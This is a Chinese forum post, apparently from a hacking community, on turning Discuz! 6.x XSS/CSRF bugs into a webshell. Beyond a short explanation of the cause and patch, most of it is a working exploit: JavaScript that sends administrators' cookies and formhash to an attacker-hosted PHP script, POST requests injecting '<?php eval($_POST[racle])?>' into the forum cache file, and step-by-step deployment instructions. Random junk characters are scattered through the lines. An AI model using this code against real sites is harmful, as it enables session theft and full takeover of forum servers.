Discuz XSS得webshell
6 O! j, X+ L4 v4 i/ e! uBy racle @tian6.com
" w. p1 `9 L- [: u' K欢迎转帖.但请保留版权信息.
2 I2 \8 b0 r, L8 H e I% ^0 C受影响版本 iscuz<=6.1.0,gbk+utf+big5
: a# y2 I% [2 s4 Q3 I4 R, U+ j: f- Q( t
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
" u8 N: o: M3 P) P Q# B+ ^* Y* }0 _$ f% }$ \7 N2 T3 ?% R! i
, |8 d! V& W- T/ j- g* ~
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706: T3 r C9 \# h$ K/ u
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.6 V/ P; D! h4 p2 U: [% H6 |
+ s: ?8 M) W2 f+ N分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等.., Z# A& j7 c( a% \. K
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS/ P% o/ V* ~/ G1 T/ C
1 Z" Q8 Z8 V6 s7 ~" q H6 Q
8 R3 ]: m$ |$ t& y: _0 [
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------! l1 g8 ?. o+ \! U% U
) Q/ @" Q, E z i. d# f9 d8 q7 P* u) `5 A' Y9 ~' w5 \
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
1 W$ h0 [, ~$ ^% ]8 ]( @; i$ f( g5 ]3 L5 f) d& ]
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
% S5 A4 E u" U& m6 L4 \$ g
; f% K0 d" e/ b6 S5 d1 p1 rproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.$ @0 ~+ ~' S$ F) H
; d: t. s3 U% y
! s/ g1 l' ]- I8 G, K9 @- c( @下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
/ N2 {, ]* n; G ^* ~3 k: |1 E7 C3 E2 [: G4 Z% K0 m: a
global $runwizardfile, $runwizardhistory;
' ?4 i* [# I' T- y: Q! i4 F0 x
' `5 R ]0 v7 U6 [" A. m9 N $fp = fopen($runwizardfile, 'w');7 C) Q$ K3 a5 v9 Y! f6 w
4 O8 X3 S$ [2 H fwrite($fp, serialize($runwizardhistory));# q* r0 a8 p9 S) D/ l& ~! N9 E
3 L% c3 H5 P5 _% V. |2 a
fclose($fp);8 A9 G' I0 [, v. K& N
1 N: O; c: B# [0 g4 b/ _}& p" F0 p/ a' c+ g0 N- y2 _! f; X7 I
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
6 ?' |; t4 `$ I; A$ B- r9 a" I以下是修补的办法:function saverunwizardhistory() {
Z3 K. b0 N" S: m' W8 y( Q: ?+ R* D6 H2 W4 x
global $runwizardfile, $runwizardhistory;+ H& ~+ b& s, D& ~) _
9 |$ S( p) J$ {7 {( N
$fp = fopen($runwizardfile, 'w');
/ @) e7 ]( n) n+ I7 ?3 x
! D. T* p" j8 Y, O $s = '<?php exit;?>';4 ]% h% t+ N4 `( E2 w
) u+ Q5 x& r3 _, a% _
$s .= serialize($runwizardhistory);8 E ^( F @' F
; B x# G2 t* k( c1 ?& z
fwrite($fp, $s);0 I4 y+ I- M" F# b* H" Z
]) w; F2 o2 }8 G6 d) e fclose($fp);
3 L; [' T$ J7 ^6 e5 U% {4 {4 b C. d& Z" N5 o& |) R0 A5 a3 `
}/ n8 i4 r: @% d1 k: T6 F* Z p
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.$ ?9 ^, ?# W. J2 \- r; z
3 L, T6 K6 X% b6 f* S2 Y
5 @8 R7 E+ A5 |; \
A3 Z: b, T6 K, B u+ S9 z( n' A----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------# n- A/ f2 K; j% O# I/ O
' \4 a! I; ?1 i9 ^
* t1 Y7 n5 u' E1 j6 U7 d 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
9 {9 t3 Z1 J2 C. y5 Q& b8 W6 ?, a6 b+ v. Z) [0 i6 V
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
2 [8 k; ? {- b
6 M) X& U6 ^6 G3 d" Y) u9 u/ w# f" Z这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.0 [' X' s) x! K; `$ ^: Q* u% E: q! u
& Q1 `+ E$ ?# T7 E, d: l+ h
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:9 c2 _ Q2 x; z* }- f3 s
5 o6 G' x& }5 e8 B! r) X
var url="http://目标网站/admincp.php"; 7 T5 w' c: ?) |0 i; z2 b+ E
' U, ~. S# J5 u# V! Q+ B1 w
/*获得cookies*/; t Y/ p6 e; R
5 }: d+ e* t, L( |* @- Y
function getURL(s) {
3 h" P# m- K( E) F( B, p* L4 e2 m }3 J' v; t
var image = new Image();! n$ Z' E2 g l- E u7 Y* C+ v
1 u% E3 {9 M6 I$ A9 D4 f( Q' P
image.style.width = 0;
6 V. }. ]9 S& P& g) J: l1 g9 ^! y8 `. U0 Q* u9 m
image.style.height = 0;9 v' h. U( x3 t% d- f7 `5 z2 F
* J* O- u: }4 \9 }% m9 ~
image.src = s;
1 k- g" R: t! ?& ]% h
5 D5 A# @ z- ^. y% u}' M* S$ ?( c1 ^2 [
" f0 e7 ]" |6 t) j+ Z* O
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php# e7 l! f0 e1 n
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
1 F4 C3 ~5 r& a' H7 [) Z复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
' q2 P i' z: r" n: W/ B+ j. L* G3 m5 F$ x# |$ U
6 F- Y: r) a; J+ |获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";$ S0 s7 U1 j, y
) @& `! H- \& K ?7 e+ L$ ~% r) R- P6 K; ^
; U( U, k9 I) J4 B. q9 V/*hash*/5 k) M0 q4 N: k4 D0 p
* K( T, k% u3 f* M- k) {) S$ o$ \1 a
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");2 w. N% _( L3 ~3 ? X: E+ j
+ l( M* r% ]) R+ ]6 {xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
2 i8 ?- a1 V, a6 x& B4 j! z- i& P M7 O6 s3 L6 `" u7 T* ]
xmlHttpReq.send();
" R. L/ Z q; o) j6 f* F' m T, r6 i( |; q0 @
var resource = xmlHttpReq.responseText; z+ Q" I. F _& Z$ y. A# J
1 H* Y% W0 Y$ N, evar numero = resource.search(/formhash/);3 s; {+ x* h; j1 r1 m
. p( ~& b4 }: ?1 s4 V% J" Uvar formhash=encodeURIComponent(resource.substr(numero+17,8));
/ V; Q3 @9 z4 P5 a9 ` e' Z( _: C- m2 R/ G; m3 q4 w
9 Q5 z$ K% |& u. Y' P
, n( L0 {- ?% B' B# } Ivar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
0 H2 @% k5 v. Q0 B
9 J7 @9 ]4 W: K, H0 |0 e' BxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 ) j; E% C/ s4 f _
8 l( g- L: u3 [* V7 o+ Z; L5 i
xmlHttpReq.setRequestHeader("Referer", url);
2 ?5 v$ D1 Z% i& [( P; r3 b9 L# X) _: S3 O
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
; Q0 p# n0 _) j
4 \* d0 ]2 f1 TxmlHttpReq.setrequestheader("content-length",post.length); - [% ^6 F. L$ E6 K- ?" j% c
9 G+ J8 |: a6 j, z3 {$ c
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); M+ m0 ^/ J! E/ o5 Y4 e
/ t A1 l) G f. O* {; G# |; g. V' gxmlHttpReq.send(post);//发送数据7 i$ Z+ G, m a; P- X1 j9 S% r$ I
复制代码这里HASH我假设正确,这样提交,也无须cookies
p9 y x4 V$ v, N
2 o( L* P! [9 ^ Q, l7 V1 X( }再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);* O0 m; M b& C0 C+ X
+ I1 O4 ]2 q# B7 \' z
if (!$sock) die("$errstr ($errno)\n");
) X$ A3 r3 u, S' P" \; E" i
: |! A7 L% f( t) f* m; ^5 w6 e" ?$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';3 }/ K3 A" H/ [# u4 W o0 A8 ^8 \/ B
+ q# S! n$ [. v# ^( P% z
5 N8 j8 ? N2 w0 d" S, @" {& K* b
- g$ w2 o+ e. { u
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");3 w# \* v2 T- y8 _4 A1 f% W
. X3 c9 S, ~) u4 u$ i3 w1 j
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");8 Y9 M/ h5 r& Z* Z6 F" M
( i& {7 t* P' V) h2 O7 mfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");( V4 p g0 G$ f/ @
: N) G8 m+ m: j1 S/ v9 b
fwrite($sock, "Accept-Language: zh-cn\r\n");2 }, k8 S; s# Y' S- Z2 i
! S, t9 K( V9 k6 Q: N; ^) sfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");2 ~! ~; {7 q6 B
( j" ^4 [! A0 U: S- d5 R
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
" y0 ~: Q4 M9 R
* }* D E) c z$ qfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
7 `* o* e1 [% M# k& o0 m" O J& G# s4 T) y$ O
fwrite($sock, "Host: $url\r\n");
* B8 _. C; h3 W% {: w# C9 h$ r/ ]. Y
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");; k0 a' n4 B0 P: Z3 U$ a- m7 ?
( z. a+ }& K( E
fwrite($sock, "Connection: Keep-Alive\r\n");
$ J. v/ f- ?% U8 u \; `
0 m7 \9 j6 W5 E6 R* d% tfwrite($sock, "Cache-Control: no-cache\r\n");
% I- v' L/ }5 Q; n; O& Z
& M6 G8 x X3 u3 Efwrite($sock, "Cookie:".$cookies."\r\n\r\n");
! \7 h1 n/ C( r C" X3 S. K1 b4 `$ G
fwrite($sock, $data);) A- o6 |: x/ ^$ u8 v7 T: t
, S7 Z: T3 e1 q
! J, j( i- @& M( a: G4 ~+ n) Z( T# k. V
$headers = "";
+ f( ]5 L2 D, K0 ?+ y0 ^2 X2 m) v6 G5 V8 G5 ] j% E8 K6 N5 _6 Q
while ($str = trim(fgets($sock, 4096)))
, E6 o. c5 \ c% o
* m( I- @! r0 f0 O" q* O $headers .= "$str\n";9 A5 p8 s. g! W# [) x
$ V" q) K- |6 U
echo "\n";
/ _/ w4 c- m1 q' a& L% X
( O5 U' c% B1 J' w ~7 B4 h, i$body = "";; b% j/ O! ~9 S c! P/ i( ^
! Z' d# p6 {1 _! _
while (!feof($sock))# H* M. P, ~& i9 C4 e' y* @& C
5 J& Q* l( g8 H& ] $body .= fgets($sock, 4096);
9 R/ k1 w2 N1 ^& b7 o+ P6 k
[4 [/ y4 f% S' Afclose($sock);
- D, O s" [- R7 M4 K7 y2 q
( d5 w; w' s: W/ x1 l3 c# I1 m. becho $body;
7 I# ?/ d" D1 e5 S复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
# _8 Y6 p( T. C- T2 _. W# S1 `# H- K9 [) i: M
% T2 R4 q& M" o% K! S( u7 f# m( g7 W
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
! z# Z7 \/ i$ A* X9 d. Q/ _$ n- s# S- S# k' Q8 \& O% z& t
I, q F# V. W; A4 [; z1 D, Q1 HP SOCKET利用方法首先打开racle.js
! c1 H, W4 ^# m
. R1 s' X( x2 g5 U- E, Yvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
/ D* Z, F: B; m7 f- ? s9 ]3 E. V) e# j
3 E! s& N: w) N' p8 ]
! B) Q! @, D1 f. M5 e然后打开racle@tian6.php
1 D$ R- E+ {6 q
5 b# c/ o9 O4 h' f5 ?7 x$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
4 ]& E, ^5 n* U; U) j/ U+ r% d5 f
3 ?. l- I: z7 X6 D$ f( w' [2 ~6 P; }3 {2 H7 b0 w9 }
, B5 H3 d4 d8 ] P如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
, Q# E+ {5 o2 q$ I# {5 q$ t/ H$ L6 R! }/ v! {
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
, n; j& K& s& N- ~( {9 C; u+ n3 v% z! _' a; a2 {
为8 y. u/ M! ~ ^4 b
7 t- o! H2 Y; k; [getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));4 b, C$ w" S4 v/ Q1 h$ `
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
9 Z; o' T* b% U, P7 v. G+ A- b
2 |: T6 U6 g/ d3 k3 E& y, I5 x2 a
0 L% P, p" E' \" A, o/ d+ [
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:% u9 y% e6 @6 S3 V7 \+ J% ]; W
" D% O9 r D8 f* S- _3 mvar formhash=encodeURIComponent(resource.substr(numero+17,8));
6 {; c1 K0 A2 Q/ H# ?1 r- ?/ k! n. M1 ^ ~: H( y1 H( ]; Z! L
为
4 K4 W1 h4 f) Q7 n4 _& l0 r6 F/ N2 N& \
var formhash=encodeURIComponent(resource.substr(numero+9,8));
/ n4 J" P, e: @( Q2 `* a/ j9 v8 a! f复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.* I$ c9 n/ r4 M) {0 K9 G4 [
8 g- b" B+ ?3 R& {如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
& K( d. Z6 h7 ]" o9 U7 h0 U- b7 M* M' K3 ?! W
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
3 d6 Z2 k; S) s5 D' b7 N# W% c0 r6 y
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.) ~; O# K1 d7 i# ?; G
% c4 ]8 N3 M- S! L# _2 g
|